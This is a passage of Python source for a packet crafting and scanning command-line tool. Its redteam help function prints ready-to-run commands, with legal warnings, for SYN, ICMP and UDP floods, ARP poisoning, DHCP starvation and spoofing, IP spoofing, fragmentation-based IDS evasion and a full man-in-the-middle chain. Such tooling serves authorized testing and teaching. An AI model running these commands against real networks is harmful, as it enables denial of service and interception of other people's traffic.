    print("  craft dns-query        DNS query (A/AAAA/MX/CNAME/TXT/NS/SOA/PTR/SRV/ANY)")
    print("  craft dhcp-discover    DHCP DISCOVER")
    print("  craft dhcp-request     DHCP REQUEST")
    print("  craft dhcp-release     DHCP RELEASE")
    print("  craft ethernet         Ethernet header")
    print("  craft ipv4             IPv4 header")
    print("  craft ipv6             IPv6 header")
    print("  craft tcp              TCP header (any flag combo)")
    print("  craft udp-header       UDP header")
    print("  craft icmp             ICMP header (any type/code)")
    print("  craft icmpv6-echo-request  ICMPv6 Echo Request")
    print("  craft icmpv6-echo-reply    ICMPv6 Echo Reply")
    print()
    print("PARSE - Decode packets (11 commands)")
    print("-" * 40)
    print("  parse                  Auto-detect and parse all layers")
    print("  parse dns              Parse DNS packet")
    print("  parse dhcp             Parse DHCP packet")
    print("  parse arp              Parse ARP packet")
    print("  parse ethernet         Parse Ethernet header")
    print("  parse ipv4             Parse IPv4 header")
    print("  parse ipv6             Parse IPv6 header")
    print("  parse tcp              Parse TCP header")
    print("  parse udp              Parse UDP header")
    print("  parse icmp             Parse ICMP header")
    print("  parse icmpv6           Parse ICMPv6 header")
    print()
    print("SEND - Send packets [requires admin] (5 commands)")
    print("-" * 40)
    print("  send tcp-syn           Send TCP SYN packet")
    print("  send icmp-echo         Send ICMP echo request")
    print("  send udp               Send UDP packet")
    print("  send arp-frame         Send ARP frame")
    print("  send raw               Send raw hex/file data")
    print()
    print("SCAN - Network scanning [requires admin] (4 commands)")
    print("-" * 40)
    print("  scan ports             SYN port scan (single IP, CIDR, range, file)")
    print("  scan hosts             ICMP ping sweep (host discovery)")
    print("  scan arp               ARP scan (LAN host + MAC discovery)")
    print("  scan sweep             Port sweep (one port across many hosts)")
    print()
    print("LISTEN - Capture packets [requires admin] (1 command)")
    print("-" * 40)
    print("  listen                 Listen for incoming packets")
    print()
    print("FRAGMENT - IP fragmentation (2 commands)")
    print("-" * 40)
    print("  fragment               Fragment a packet (tiny/overlap/outoforder/timedelayed/polymorphic)")
    print("  send-fragmented        Send fragmented packets [requires admin]")
    print()
    print("UTIL - Utilities (16 commands)")
    print("-" * 40)
    print("  util ip-parse          IPv4 string -> integer")
    print("  util ip-to-string      Integer -> IPv4 string")
    print("  util mac-parse         MAC string -> hex bytes")
    print("  util mac-to-string     Hex bytes -> MAC string")
    print("  util ipv6-parse        IPv6 string -> hex bytes")
    print("  util ipv6-to-string    Hex bytes -> IPv6 string")
    print("  util htons             Host to network (16-bit)")
    print("  util ntohs             Network to host (16-bit)")
    print("  util htonl             Host to network (32-bit)")
    print("  util ntohl             Network to host (32-bit)")
    print("  util encode-domain     Domain -> DNS wire format")
    print("  util broadcast-mac     Show broadcast MAC")
    print("  util checksum ipv4     Calculate IPv4 checksum")
    print("  util checksum tcp      Calculate TCP checksum")
    print("  util checksum udp      Calculate UDP checksum")
    print("  util checksum icmp     Calculate ICMP checksum")
    print()
    print("INFO (1 command)")
    print("-" * 40)
    print("  info                   Version, protocols, strategies")
    print("  info --check-admin     Also check admin privileges")
    print()
    print("OUTPUT FLAGS")
    print("-" * 40)
    print("  --hex                  Raw hex string output (craft commands)")
    print("  --raw                  Raw bytes to stdout (craft commands)")
    print("  --json                 JSON output (parse/listen commands)")
    print()
    print("Use 'nimpacket <command> --help' for details on any command.")


def cmd_redteam(args):
    """Show all commands with offensive/red team potential and legal warnings."""
    print("=" * 70)
    print("  NIMPACKET RED TEAM / OFFENSIVE SECURITY REFERENCE")
    print("=" * 70)
    print()
    print("  /!\\ LEGAL WARNING /!\\")
    print("  " + "-" * 66)
    print("  Using these techniques on networks or systems you do NOT own")
    print("  or do NOT have WRITTEN AUTHORIZATION to test is a CRIMINAL")
    print("  OFFENSE under:")
    print()
    print("    - Computer Fraud and Abuse Act (CFAA) - United States")
    print("    - Computer Misuse Act 1990 - United Kingdom")
    print("    - Criminal Code Section 342.1 - Canada")
    print("    - Convention on Cybercrime (Budapest) - EU/International")
    print()
    print("  Penalties include PRISON TIME (up to 10+ years), heavy fines,")
    print("  and a permanent criminal record.")
    print()
    print("  ONLY use on: Your own lab, CTF challenges, or with a signed")
    print("  penetration testing agreement.")
    print("  " + "-" * 66)
    print()

    print("=" * 70)
    print("  1. SYN FLOOD (Denial of Service)")
    print("=" * 70)
    print("  What: Overwhelm a target with TCP SYN packets, exhausting its")
    print("        connection table so legitimate users can't connect.")
    print("  Risk: Federal crime. 5-10 years prison.")
    print()
    print("  Commands:")
    print("    # Single SYN with spoofed source IP")
    print("    nimpacket send tcp-syn --src-ip <SPOOFED_IP> --dst-ip <TARGET>")
    print("              --src-port 1234 --dst-port 80")
    print()
    print("    # Craft + inspect before sending")
    print("    nimpacket craft tcp-syn --src-ip <SPOOFED_IP> --dst-ip <TARGET>")
    print("              --src-port 1234 --dst-port 80")
    print()
    print("  How it works: The spoofed source IP means the target sends")
    print("  SYN-ACK to someone who never requested it. The target keeps the")
    print("  half-open connection in memory, and enough of these = crash.")
    print()

    print("=" * 70)
    print("  2. ARP SPOOFING / POISONING (Man-in-the-Middle)")
    print("=" * 70)
    print("  What: Send fake ARP replies to trick a victim into thinking")
    print("        your MAC address is the gateway. All their traffic flows")
    print("        through you. You can sniff passwords, sessions, etc.")
    print("  Risk: Wiretapping + unauthorized access. 5-20 years prison.")
    print()
    print("  Commands:")
    print("    # Poison victim's ARP cache (pretend to be the gateway)")
    print("    nimpacket send arp-frame --src-mac <YOUR_MAC>")
    print("              --src-ip <GATEWAY_IP> --dst-ip <VICTIM_IP>")
    print()
    print("    # Poison gateway's ARP cache (pretend to be the victim)")
    print("    nimpacket send arp-frame --src-mac <YOUR_MAC>")
    print("              --src-ip <VICTIM_IP> --dst-ip <GATEWAY_IP>")
    print()
    print("    # Craft a targeted ARP reply")
    print("    nimpacket craft arp-reply --sender-mac <YOUR_MAC>")
    print("              --sender-ip <GATEWAY_IP>")
    print("              --target-mac <VICTIM_MAC> --target-ip <VICTIM_IP>")
    print()
    print("  How it works: ARP has zero authentication. Any device can claim")
    print("  to be any IP. Send these every 2 seconds to maintain the poison.")
    print()

    print("=" * 70)
    print("  3. ARP SCANNING / NETWORK RECONNAISSANCE")
    print("=" * 70)
    print("  What: Discover all live hosts on a LAN by sending ARP requests")
    print("        to every IP in the subnet. Hosts that respond are alive.")
    print("  Risk: Reconnaissance phase of an attack. Suspicious activity.")
    print()
    print("  Commands:")
    print("    # ARP request to a single target")
    print("    nimpacket send arp-frame --src-mac <YOUR_MAC>")
    print("              --src-ip <YOUR_IP> --dst-ip <TARGET_IP>")
    print()
    print("    # Craft ARP request to inspect")
    print("    nimpacket craft arp-request --sender-mac <YOUR_MAC>")
    print("              --sender-ip <YOUR_IP> --target-ip <TARGET_IP>")
    print()

    print("=" * 70)
    print("  4. ICMP FLOOD / SMURF ATTACK")
    print("=" * 70)
    print("  What: Flood a target with ICMP echo requests. Smurf variant:")
    print("        spoof the source as the victim's IP and send to a broadcast")
    print("        address. Every host on that network replies to the victim.")
    print("  Risk: DoS attack. Federal crime.")
    print()
    print("  Commands:")
    print("    # ICMP echo with spoofed source")
    print("    nimpacket send icmp-echo --src-ip <VICTIM_IP>")
    print("              --dst-ip <BROADCAST_ADDR> --id 1234 --seq 1")
    print()
    print("    # Craft ICMP with custom payload")
    print("    nimpacket craft icmp-echo --src-ip <SPOOFED> --dst-ip <TARGET>")
    print("              --id 1234 --seq 1 --payload \"AAAAAAAAAA\"")
    print()

    print("=" * 70)
    print("  5. UDP FLOOD")
    print("=" * 70)
    print("  What: Overwhelm a target with UDP packets to random ports.")
    print("        Target generates ICMP port unreachable for each one,")
    print("        consuming bandwidth and CPU.")
    print("  Risk: DoS attack. Federal crime.")
    print()
    print("  Commands:")
    print("    # UDP flood with spoofed source")
    print("    nimpacket send udp --src-ip <SPOOFED> --dst-ip <TARGET>")
    print("              --src-port 12345 --dst-port 53")
    print("              --payload \"AAAAAAAAAAAAAAAA\"")
    print()

    print("=" * 70)
    print("  6. PORT SCANNING")
    print("=" * 70)
    print("  What: Send SYN packets to different ports to discover which")
    print("        services are running. SYN-ACK = open. RST = closed.")
    print("  Risk: Often first step before exploitation. Detectable by IDS.")
    print()
    print("  Commands:")
    print("    # SYN scan port 80 (HTTP)")
    print("    nimpacket send tcp-syn --src-ip <YOUR_IP> --dst-ip <TARGET>")
    print("              --src-port 54321 --dst-port 80")
    print()
    print("    # SYN scan port 443 (HTTPS)")
    print("    nimpacket send tcp-syn --src-ip <YOUR_IP> --dst-ip <TARGET>")
    print("              --src-port 54321 --dst-port 443")
    print()
    print("    # SYN scan port 22 (SSH)")
    print("    nimpacket send tcp-syn --src-ip <YOUR_IP> --dst-ip <TARGET>")
    print("              --src-port 54321 --dst-port 22")
    print()
    print("    # Listen for SYN-ACK responses")
    print("    nimpacket listen --protocol tcp --count 5 --json")
    print()

    print("=" * 70)
    print("  7. IDS/IPS EVASION WITH FRAGMENTATION")
    print("=" * 70)
    print("  What: Split malicious payloads into fragments to bypass security")
    print("        tools that can't reassemble them correctly.")
    print("  Risk: Evasion of security controls. Aggravating factor in court.")
    print()
    print("  Commands:")
    print("    # Tiny fragments (8 bytes each - hardest for IDS to reassemble)")
    print("    nimpacket send-fragmented --src-ip <YOUR_IP> --dst-ip <TARGET>")
    print("              --payload \"malicious_data\" --strategy tiny")
    print()
    print("    # Overlapping fragments (conflicting data confuses reassembly)")
    print("    nimpacket send-fragmented --src-ip <YOUR_IP> --dst-ip <TARGET>")
    print("              --payload \"payload\" --strategy overlap")
    print()
    print("    # Out-of-order (reversed sequence confuses stateful inspection)")
    print("    nimpacket send-fragmented --src-ip <YOUR_IP> --dst-ip <TARGET>")
    print("              --payload \"payload\" --strategy outoforder")
    print()
    print("    # Time-delayed (slow drip evades timeout-based reassembly)")
    print("    nimpacket send-fragmented --src-ip <YOUR_IP> --dst-ip <TARGET>")
    print("              --payload \"payload\" --strategy timedelayed --delay 500")
    print()
    print("    # Polymorphic (random strategy each time - hardest to fingerprint)")
    print("    nimpacket send-fragmented --src-ip <YOUR_IP> --dst-ip <TARGET>")
    print("              --payload \"payload\" --strategy polymorphic")
    print()
    print("    # Preview fragments without sending")
    print("    nimpacket fragment --src-ip <YOUR_IP> --dst-ip <TARGET>")
    print("              --payload \"test\" --strategy overlap --fragment-size 8")
    print()

    print("=" * 70)
    print("  8. PACKET SNIFFING / TRAFFIC CAPTURE")
    print("=" * 70)
    print("  What: Passively capture network traffic. Can reveal passwords,")
    print("        cookies, session tokens, and sensitive data in cleartext.")
    print("  Risk: Wiretapping. Illegal without authorization.")
    print()
    print("  Commands:")
    print("    # Capture all traffic")
    print("    nimpacket listen --protocol all --count 100")
    print()
    print("    # Capture only TCP (HTTP, FTP, etc.)")
    print("    nimpacket listen --protocol tcp --json")
    print()
    print("    # Capture only ICMP (ping)")
    print("    nimpacket listen --protocol icmp --count 10")
    print()
    print("    # Capture with hex output for manual analysis")
    print("    nimpacket listen --protocol all --hex")
    print()
    print("    # Capture broadcast traffic")
    print("    nimpacket listen --broadcast --count 20")
    print()

    print("=" * 70)
    print("  9. DHCP STARVATION")
    print("=" * 70)
    print("  What: Flood the network with DHCP DISCOVER packets using random")
    print("        MAC addresses. Exhausts the DHCP server's IP pool so no")
    print("        legitimate clients can get an IP address.")
    print("  Risk: DoS on network infrastructure. Criminal offense.")
    print()
    print("  Commands:")
    print("    # DHCP DISCOVER with specific MAC")
    print("    nimpacket craft dhcp-discover --mac AA:BB:CC:DD:EE:01 --hex")
    print("    nimpacket craft dhcp-discover --mac AA:BB:CC:DD:EE:02 --hex")
    print("    nimpacket craft dhcp-discover --mac AA:BB:CC:DD:EE:03 --hex")
    print("    # (each with different MAC = each claims a different IP)")
    print()
    print("    # Pair with send raw to actually send them")
    print("    nimpacket send raw --hex <DHCP_HEX> --dst-ip 255.255.255.255")
    print()

    print("=" * 70)
    print("  10. DHCP SPOOFING (Rogue DHCP Server)")
    print("=" * 70)
    print("  What: After DHCP starvation, set up a rogue DHCP server that")
    print("        hands out YOUR IP as the default gateway. All clients")
    print("        now route through you = man-in-the-middle.")
    print("  Risk: Network hijacking. Serious criminal offense.")
    print()
    print("  Commands:")
    print("    # Craft DHCP request to understand the format")
    print("    nimpacket craft dhcp-request --mac <VICTIM_MAC>")
    print("              --requested-ip 192.168.1.100")
    print("              --server-ip <YOUR_IP>")
    print()

    print("=" * 70)
    print("  11. DNS QUERY CRAFTING (DNS Reconnaissance)")
    print("=" * 70)
    print("  What: Craft custom DNS queries to enumerate subdomains, find")
    print("        mail servers, nameservers, and map an organization's")
    print("        infrastructure.")
    print("  Risk: Reconnaissance. Usually legal but can trigger alerts.")
    print()
    print("  Commands:")
    print("    # Query for mail servers")
    print("    nimpacket craft dns-query --domain target.com --type MX --hex")
    print()
    print("    # Query for nameservers")
    print("    nimpacket craft dns-query --domain target.com --type NS --hex")
    print()
    print("    # Query for all records")
    print("    nimpacket craft dns-query --domain target.com --type ANY --hex")
    print()
    print("    # Query for IPv6 addresses")
    print("    nimpacket craft dns-query --domain target.com --type AAAA --hex")
    print()
    print("    # Query TXT records (often contain SPF, DKIM, verification tokens)")
    print("    nimpacket craft dns-query --domain target.com --type TXT --hex")
    print()

    print("=" * 70)
    print("  12. IP SPOOFING (Source Address Forgery)")
    print("=" * 70)
    print("  What: Every send command accepts --src-ip. Using a fake source")
    print("        IP hides your identity and can redirect responses to a")
    print("        victim (reflection attack).")
    print("  Risk: Used in amplification attacks. Federal crime.")
    print()
    print("  Commands:")
    print("    # Any send command with a spoofed source")
    print("    nimpacket send tcp-syn --src-ip <FAKE_IP> --dst-ip <TARGET>")
    print("              --src-port 1234 --dst-port 80")
    print()
    print("    # Spoofed ICMP (reflection)")
    print("    nimpacket send icmp-echo --src-ip <VICTIM_IP>")
    print("              --dst-ip <REFLECTOR> --id 1 --seq 1")
    print()

    print("=" * 70)
    print("  13. RAW PACKET INJECTION")
    print("=" * 70)
    print("  What: Send completely custom packets. You control every byte.")
    print("        Can craft packets that no normal application would send.")
    print("  Risk: Depends on content. Can be anything from scanning to exploit.")
    print()
    print("  Commands:")
    print("    # Craft any packet and send it")
    print("    nimpacket craft tcp-syn --src-ip 1.2.3.4 --dst-ip <TARGET>")
    print("              --src-port 1 --dst-port 80 --hex")
    print("    nimpacket send raw --hex <PASTE_HEX_HERE> --dst-ip <TARGET>")
    print()
    print("    # Send from a file")
    print("    nimpacket craft icmp-echo --src-ip 1.2.3.4 --dst-ip <TARGET>")
    print("              --id 1 --seq 1 --raw > evil.bin")
    print("    nimpacket send raw --file evil.bin --dst-ip <TARGET>")
    print()

    print("=" * 70)
    print("  14. DHCP RELEASE ATTACK")
    print("=" * 70)
    print("  What: Force a client off the network by sending a DHCP RELEASE")
    print("        on their behalf. They lose their IP address.")
    print("  Risk: Denial of service on specific target.")
    print()
    print("  Commands:")
    print("    nimpacket craft dhcp-release --mac <VICTIM_MAC>")
    print("              --client-ip <VICTIM_IP> --server-ip <DHCP_SERVER>")
    print()

    print("=" * 70)
    print("  ATTACK CHAIN EXAMPLE: Full MITM")
    print("=" * 70)
    print("  Step 1: Recon - discover hosts")
    print("    nimpacket send arp-frame --src-mac <YOU> --src-ip <YOU>")
    print("              --dst-ip 192.168.1.1")
    print("    nimpacket listen --protocol all --count 5")
    print()
    print("  Step 2: ARP poison victim + gateway")
    print("    nimpacket send arp-frame --src-mac <YOU>")
    print("              --src-ip <GATEWAY> --dst-ip <VICTIM>")
    print("    nimpacket send arp-frame --src-mac <YOU>")
    print("              --src-ip <VICTIM> --dst-ip <GATEWAY>")
    print()
    print("  Step 3: Sniff the traffic")
    print("    nimpacket listen --protocol tcp --json")
    print()
    print("  Step 4: Cover tracks with fragmented packets")
    print("    nimpacket send-fragmented --strategy polymorphic ...")
    print()

    print("=" * 70)
    print()
    print("  TOTAL OFFENSIVE COMMANDS: 14 attack categories")
    print("  using: send (5), craft (18), listen (1), fragment (2),")
    print("         send-fragmented (1) = 27 commands with offensive potential")
    print()
    print("  /!\\ REMINDER: Unauthorized use = PRISON. Always get written")
    print("  permission before testing. Use your own lab. Be ethical. /!\\")
    print("=" * 70)


def cmd_info(args):
    print(f"NimPacket v{np.version()}")
    print()
    protocols = np.supported_protocols()
    print(f"Supported protocols ({len(protocols)}):")
    for proto in protocols:
        print(f"  - {proto}")
    print()
    print("Fragmentation strategies: tiny, overlap, outoforder, timedelayed, polymorphic")
    print("DNS record types: A, AAAA, CNAME, MX, TXT, NS, PTR, SOA, SRV, ANY")
    print("DHCP message types: DISCOVER, OFFER, REQUEST, DECLINE, ACK, NAK, RELEASE, INFORM")
    if getattr(args, 'check_admin', False):
        admin = np.is_admin()
        print()
        print(f"Administrator privileges: {'Yes' if admin else 'No'}")
        if not admin:
            print("  (Raw socket operations require admin/root)")


# =============================================================================
# Argument parser setup
# =============================================================================

def add_output_flags(parser):
    """Add --hex and --raw output flags to a craft subcommand."""
    group = parser.add_mutually_exclusive_group()
    group.add_argument('--hex', dest='output_hex', action='store_true',
                       help='Output raw hex string only')
    group.add_argument('--raw', action='store_true',
                       help='Output raw bytes to stdout (for piping)')


def add_parse_input(parser):
    """Add --hex and --file input flags to a parse subcommand."""
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--hex', type=str, help='Hex-encoded packet data')
    group.add_argument('--file', type=str, help='Path to binary packet file')


def add_json_flag(parser):
    """Add --json output flag to a parse subcommand."""
    parser.add_argument('--json', dest='json_output', action='store_true',
                        help='Output JSON instead of pretty-printed table')


def build_parser():
    parser = argparse.ArgumentParser(
        prog='nimpacket',
        description='NimPacket CLI - Craft, parse, and send network packets',
    )
    subparsers = parser.add_subparsers(dest='command', help='Available commands')

    # =========================================================================
    # craft
    # =========================================================================
    craft_parser = subparsers.add_parser('craft', help='Craft network packets')
    craft_sub = craft_parser.add_subparsers(dest='craft_type', help='Packet type to craft')

    # craft tcp-syn
    p = craft_sub.add_parser('tcp-syn', help='Craft a complete TCP SYN packet')
    p.add_argument('--src-ip', required=True, help='Source IP address')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.add_argument('--src-port', required=True, type=int, help='Source port')
    p.add_argument('--dst-port', required=True, type=int, help='Destination port')
    p.add_argument('--ttl', type=int, default=64, help='Time to live (default: 64)')
    add_output_flags(p)
    p.set_defaults(func=craft_tcp_syn)

    # craft icmp-echo
    p = craft_sub.add_parser('icmp-echo', help='Craft a complete ICMP echo request packet')
    p.add_argument('--src-ip', required=True, help='Source IP address')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.add_argument('--id', required=True, type=int, help='ICMP identifier')
    p.add_argument('--seq', required=True, type=int, help='ICMP sequence number')
    p.add_argument('--payload', type=str, default=None, help='Payload string')
    p.add_argument('--ttl', type=int, default=64, help='Time to live (default: 64)')
    add_output_flags(p)
    p.set_defaults(func=craft_icmp_echo)

    # craft udp
    p = craft_sub.add_parser('udp', help='Craft a complete UDP packet')
    p.add_argument('--src-ip', required=True, help='Source IP address')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.add_argument('--src-port', required=True, type=int, help='Source port')
    p.add_argument('--dst-port', required=True, type=int, help='Destination port')
    p.add_argument('--payload', type=str, default=None, help='Payload string')
    p.add_argument('--ttl', type=int, default=64, help='Time to live (default: 64)')
    add_output_flags(p)
    p.set_defaults(func=craft_udp)

    # craft arp-request
    p = craft_sub.add_parser('arp-request', help='Craft an ARP request')
    p.add_argument('--sender-mac', required=True, help='Sender MAC address')
    p.add_argument('--sender-ip', required=True, help='Sender IP address')
    p.add_argument('--target-ip', required=True, help='Target IP address')
    add_output_flags(p)
    p.set_defaults(func=craft_arp_request)

    # craft arp-reply
    p = craft_sub.add_parser('arp-reply', help='Craft an ARP reply')
    p.add_argument('--sender-mac', required=True, help='Sender MAC address')
    p.add_argument('--sender-ip', required=True, help='Sender IP address')
    p.add_argument('--target-mac', required=True, help='Target MAC address')
    p.add_argument('--target-ip', required=True, help='Target IP address')
    add_output_flags(p)
    p.set_defaults(func=craft_arp_reply)

    # craft arp-frame
    p = craft_sub.add_parser('arp-frame', help='Craft a complete Ethernet+ARP frame')
    p.add_argument('--src-mac', required=True, help='Source MAC address')
    p.add_argument('--src-ip', required=True, help='Source IP address')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.add_argument('--dst-mac', default=None, help='Destination MAC (default: broadcast)')
    add_output_flags(p)
    p.set_defaults(func=craft_arp_frame)

    # craft dns-query
    p = craft_sub.add_parser('dns-query', help='Craft a DNS query')
    p.add_argument('--domain', required=True, help='Domain name to query')
    p.add_argument('--type', default='A',
                   help='Record type: A, AAAA, MX, CNAME, TXT, NS, SOA, PTR, SRV, ANY (default: A)')
    p.add_argument('--txid', default=None, help='Transaction ID (e.g. 0x1234)')
    add_output_flags(p)
    p.set_defaults(func=craft_dns_query)

    # craft dhcp-discover
    p = craft_sub.add_parser('dhcp-discover', help='Craft a DHCP DISCOVER')
    p.add_argument('--mac', required=True, help='Client MAC address')
    p.add_argument('--txid', default=None, help='Transaction ID (e.g. 0xDEADBEEF)')
    add_output_flags(p)
    p.set_defaults(func=craft_dhcp_discover)

    # craft dhcp-request
    p = craft_sub.add_parser('dhcp-request', help='Craft a DHCP REQUEST')
    p.add_argument('--mac', required=True, help='Client MAC address')
    p.add_argument('--requested-ip', required=True, help='Requested IP address')
    p.add_argument('--server-ip', required=True, help='DHCP server IP address')
    p.add_argument('--txid', default=None, help='Transaction ID (e.g. 0xCAFEBABE)')
    add_output_flags(p)
    p.set_defaults(func=craft_dhcp_request)

    # craft dhcp-release
    p = craft_sub.add_parser('dhcp-release', help='Craft a DHCP RELEASE')
    p.add_argument('--mac', required=True, help='Client MAC address')
    p.add_argument('--client-ip', required=True, help='Client IP address')
    p.add_argument('--server-ip', required=True, help='DHCP server IP address')
    p.add_argument('--txid', default=None, help='Transaction ID')
    add_output_flags(p)
    p.set_defaults(func=craft_dhcp_release)

    # craft ethernet
    p = craft_sub.add_parser('ethernet', help='Craft an Ethernet header')
    p.add_argument('--src-mac', required=True, help='Source MAC address')
    p.add_argument('--dst-mac', required=True, help='Destination MAC address')
    p.add_argument('--ether-type', required=True, help='EtherType (e.g. 0x0800)')
    add_output_flags(p)
    p.set_defaults(func=craft_ethernet)

    # craft ipv4
    p = craft_sub.add_parser('ipv4', help='Craft an IPv4 header')
    p.add_argument('--src-ip', required=True, help='Source IP address')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.add_argument('--protocol', required=True, type=int, help='Protocol number (6=TCP, 17=UDP, 1=ICMP)')
    p.add_argument('--ttl', type=int, default=64, help='Time to live (default: 64)')
    add_output_flags(p)
    p.set_defaults(func=craft_ipv4)

    # craft ipv6
    p = craft_sub.add_parser('ipv6', help='Craft an IPv6 header')
    p.add_argument('--src-ip', required=True, help='Source IPv6 address')
    p.add_argument('--dst-ip', required=True, help='Destination IPv6 address')
    p.add_argument('--next-header', required=True, type=int, help='Next header (6=TCP, 17=UDP, 58=ICMPv6)')
    p.add_argument('--hop-limit', type=int, default=64, help='Hop limit (default: 64)')
    add_output_flags(p)
    p.set_defaults(func=craft_ipv6)

    # craft tcp
    p = craft_sub.add_parser('tcp', help='Craft a TCP header')
    p.add_argument('--src-port', required=True, type=int, help='Source port')
    p.add_argument('--dst-port', required=True, type=int, help='Destination port')
    p.add_argument('--flags', required=True, help='TCP flags: SYN, ACK, SYN,ACK, etc.')
    p.add_argument('--seq', type=int, default=0, help='Sequence number (default: 0)')
    p.add_argument('--ack', type=int, default=0, help='Acknowledgment number (default: 0)')
    p.add_argument('--window', type=int, default=65535, help='Window size (default: 65535)')
    add_output_flags(p)
    p.set_defaults(func=craft_tcp)

    # craft udp-header
    p = craft_sub.add_parser('udp-header', help='Craft a UDP header')
    p.add_argument('--src-port', required=True, type=int, help='Source port')
    p.add_argument('--dst-port', required=True, type=int, help='Destination port')
    p.add_argument('--length', type=int, default=8, help='UDP length (default: 8)')
    add_output_flags(p)
    p.set_defaults(func=craft_udp_header)

    # craft icmp
    p = craft_sub.add_parser('icmp', help='Craft an ICMP header')
    p.add_argument('--type', required=True, type=int, help='ICMP type (8=echo request, 0=echo reply)')
    p.add_argument('--code', type=int, default=0, help='ICMP code (default: 0)')
    p.add_argument('--id', type=int, default=0, help='Identifier (default: 0)')
    p.add_argument('--seq', type=int, default=0, help='Sequence number (default: 0)')
    add_output_flags(p)
    p.set_defaults(func=craft_icmp)

    # craft icmpv6-echo-request
    p = craft_sub.add_parser('icmpv6-echo-request', help='Craft an ICMPv6 Echo Request')
    p.add_argument('--id', required=True, type=int, help='Identifier')
    p.add_argument('--seq', required=True, type=int, help='Sequence number')
    add_output_flags(p)
    p.set_defaults(func=craft_icmpv6_echo_request)

    # craft icmpv6-echo-reply
    p = craft_sub.add_parser('icmpv6-echo-reply', help='Craft an ICMPv6 Echo Reply')
    p.add_argument('--id', required=True, type=int, help='Identifier')
    p.add_argument('--seq', required=True, type=int, help='Sequence number')
    add_output_flags(p)
    p.set_defaults(func=craft_icmpv6_echo_reply)

    # =========================================================================
    # parse
    # =========================================================================
    parse_parser = subparsers.add_parser('parse', help='Parse/decode packets')
    parse_sub = parse_parser.add_subparsers(dest='parse_type', help='Protocol to parse (omit for auto-detect)')

    # parse (auto-detect) - the default when no sub-subcommand
    # We handle this via the parent parse_parser having --hex/--file too
    add_parse_input(parse_parser)
    add_json_flag(parse_parser)
    parse_parser.set_defaults(func=parse_auto)

    # parse dns
    p = parse_sub.add_parser('dns', help='Parse DNS packet')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_dns)

    # parse dhcp
    p = parse_sub.add_parser('dhcp', help='Parse DHCP packet')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_dhcp)

    # parse arp
    p = parse_sub.add_parser('arp', help='Parse ARP packet')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_arp)

    # parse ethernet
    p = parse_sub.add_parser('ethernet', help='Parse Ethernet header')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_ethernet)

    # parse ipv4
    p = parse_sub.add_parser('ipv4', help='Parse IPv4 header')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_ipv4)

    # parse ipv6
    p = parse_sub.add_parser('ipv6', help='Parse IPv6 header')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_ipv6)

    # parse tcp
    p = parse_sub.add_parser('tcp', help='Parse TCP header')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_tcp)

    # parse udp
    p = parse_sub.add_parser('udp', help='Parse UDP header')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_udp)

    # parse icmp
    p = parse_sub.add_parser('icmp', help='Parse ICMP header')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_icmp)

    # parse icmpv6
    p = parse_sub.add_parser('icmpv6', help='Parse ICMPv6 header')
    add_parse_input(p)
    add_json_flag(p)
    p.set_defaults(func=parse_icmpv6)

    # =========================================================================
    # send
    # =========================================================================
    send_parser = subparsers.add_parser('send', help='Send packets (requires admin)')
    send_sub = send_parser.add_subparsers(dest='send_type', help='Packet type to send')

    # send tcp-syn
    p = send_sub.add_parser('tcp-syn', help='Send a TCP SYN packet')
    p.add_argument('--src-ip', required=True, help='Source IP address')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.add_argument('--src-port', required=True, type=int, help='Source port')
    p.add_argument('--dst-port', required=True, type=int, help='Destination port')
    p.set_defaults(func=send_tcp_syn)

    # send icmp-echo
    p = send_sub.add_parser('icmp-echo', help='Send an ICMP echo request')
    p.add_argument('--src-ip', required=True, help='Source IP address')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.add_argument('--id', required=True, type=int, help='ICMP identifier')
    p.add_argument('--seq', required=True, type=int, help='ICMP sequence number')
    p.add_argument('--payload', type=str, default=None, help='Payload string')
    p.set_defaults(func=send_icmp_echo)

    # send udp
    p = send_sub.add_parser('udp', help='Send a UDP packet')
    p.add_argument('--src-ip', required=True, help='Source IP address')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.add_argument('--src-port', required=True, type=int, help='Source port')
    p.add_argument('--dst-port', required=True, type=int, help='Destination port')
    p.add_argument('--payload', type=str, default=None, help='Payload string')
    p.set_defaults(func=send_udp)

    # send arp-frame
    p = send_sub.add_parser('arp-frame', help='Send an ARP frame')
    p.add_argument('--src-mac', required=True, help='Source MAC address')
    p.add_argument('--src-ip', required=True, help='Source IP address')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.add_argument('--dst-mac', default=None, help='Destination MAC (default: broadcast)')
    p.set_defaults(func=send_arp_frame)

    # send raw
    p = send_sub.add_parser('raw', help='Send raw packet data')
    group = p.add_mutually_exclusive_group(required=True)
    group.add_argument('--hex', type=str, help='Hex-encoded packet data')
    group.add_argument('--file', type=str, help='Path to binary packet file')
    p.add_argument('--dst-ip', required=True, help='Destination IP address')
    p.set_defaults(func=send_raw)

    # =========================================================================
    # scan
    # =========================================================================
    scan_parser = subparsers.add_parser('scan', help='Network scanning (requires admin)')
    scan_sub = scan_parser.add_subparsers(dest='scan_type', help='Scan type')

    # scan ports - SYN scan multiple ports on target(s)
    p = scan_sub.add_parser('ports', help='SYN port scan (like nmap -sS)')
    p.add_argument('--target', required=True,
                   help='Target: IP, CIDR (192.168.1.0/24), or range (192.168.1.1-254)')
    p.add_argument('--target-file', default=None,
                   help='File with targets (one per line, supports CIDR)')
    p.add_argument('--ports', default='21,22,23,25,53,80,110,143,443,445,3306,3389,5432,8080',
                   help='Ports: 80 | 80,443 | 1-1024 (default: common ports)')
